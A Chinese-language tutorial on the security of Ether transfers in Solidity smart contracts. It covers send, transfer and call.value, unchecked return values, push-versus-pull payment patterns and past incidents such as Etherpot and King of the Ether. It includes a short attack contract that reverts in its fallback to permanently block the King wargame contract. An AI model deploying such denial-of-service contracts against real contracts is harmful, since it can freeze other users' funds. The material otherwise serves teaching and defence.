区块链安全—详谈合约攻击(四)
字数 1376 2025-08-22 18:37:15
智能合约转账函数安全详解
一、Solidity转账函数概述
在Solidity中,转账是以太坊智能合约中最基础也是最重要的操作之一。Solidity提供了三种主要的转账方式:
1. <address>.transfer()
- 发送失败时会抛出异常并回滚状态
- 提供2300 Gas限制,能有效防止重入攻击(Reentrancy)
- 语法:
addr.transfer(amount)
2. <address>.send()
- 发送失败时返回
false,不会回滚 - 同样有2300 Gas限制
- 语法:
addr.send(amount)
3. <address>.call.value()()
- 发送失败时返回
false - 无Gas限制,容易导致重入攻击
- 语法:
addr.call.value(amount)()
重要关系:
addr.transfer(y)等价于require(addr.send(y))- 使用
send或transfer时,接收合约必须定义fallback函数,否则转账会失败
二、常见安全问题及攻击模型
1. 未检查send/call返回值
问题代码示例:
function sendToWinner() public {
require(!payedOut);
winner.send(amount); // 未检查返回值
payedOut = true; // 即使转账失败也会执行
}
风险:
- 当
send失败时(可能由于callstack深度或Gas不足),状态变量payedOut仍被设为true - 导致资金可能被其他函数(如
withdrawLeftOver)错误提取
修复方案:
if (winner.send(amount)) {
payedOut = true;
} else {
revert();
}
2. 多地址转账的竞态条件
问题代码示例:
if (winner.send(1000) && loser.send(10)) {
prizePaidOut = true;
} else {
throw;
}
风险:
winner和loser可以互相攻击,任何一方失败都会导致双方都无法获得奖励- 恶意合约可以通过故意使
send失败来阻止对方获得资金
3. Push支付模式的安全隐患
问题合约示例:
contract BadPushPayments {
address highestBidder;
uint highestBid;
function bid() {
if (msg.value < highestBid) throw;
if (highestBidder != 0) {
if (!highestBidder.send(highestBid)) { throw; }
}
highestBidder = msg.sender;
highestBid = msg.value;
}
}
攻击方式:
- 攻击者可以部署一个在接收资金时主动抛出错误的合约
- 当有人尝试出价更高时,
send调用会失败,导致整个竞拍功能瘫痪
解决方案:改用Pull支付模式
contract GoodPullPayments {
address highestBidder;
uint highestBid;
mapping(address => uint) refunds;
function bid() external {
if (msg.value < highestBid) throw;
if (highestBidder != 0) {
refunds[highestBidder] += highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
}
function withdrawBid() external {
uint refund = refunds[msg.sender];
refunds[msg.sender] = 0;
if (!msg.sender.send(refund)) {
refunds[msg.sender] = refund;
}
}
}
三、经典攻击案例:King合约攻击
1. 合约代码分析
contract King is Ownable {
address public king;
uint public prize;
function King() public payable {
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value); // 转账给前任King
king = msg.sender; // 更新King
prize = msg.value; // 更新奖金
}
}
2. 攻击原理
- 成为King后,当有人尝试取代你时,合约会先尝试通过
transfer退还你的资金 - 如果我们在fallback函数中主动抛出错误,
transfer会失败并回滚整个交易 - 这样任何人都无法取代你的King地位
3. 攻击合约
contract Attack {
address instance_address = 目标合约地址;
function Attack() payable {}
function hack() public {
instance_address.call.value(1.1 ether)();
}
function() public {
revert(); // 主动抛出错误
}
}
四、真实世界安全事件
1. Etherpot彩票合约漏洞
function cash(uint roundIndex, uint subpotIndex) {
// ...省略检查代码...
winner.send(subpot);
rounds[roundIndex].isCashed[subpotIndex] = true; // 未检查send返回值
}
影响:当send失败时,奖金状态被错误标记为已支付,可能导致资金被错误提取
2. King of the Ether平台漏洞
currentMonarch.etherAddress.send(compensation);
问题:当Gas不足或callstack深度达到限制时,补偿金发送失败但王位仍被转移
五、安全建议
-
避免直接使用
send:- 优先使用
transfer或检查返回值的call.value
- 优先使用
-
严格检查返回值:
if (!addr.send(amount)) { revert(); } -
使用Pull支付模式:
- 让用户主动提取资金,而非合约主动推送
-
合理设置Gas:
addr.call.value(amount).gas(附加Gas量)(); -
充分测试:
- 测试各种边界条件,特别是Gas不足和callstack深度的情况
-
处理失败情况:
- 为转账失败设计恢复机制,如重试或状态回滚
-
注意fallback函数:
- 接收合约必须实现fallback函数才能正常接收转账
- 但fallback函数中不要包含可能失败的操作
通过遵循这些安全实践,可以显著降低智能合约中与转账相关的安全风险。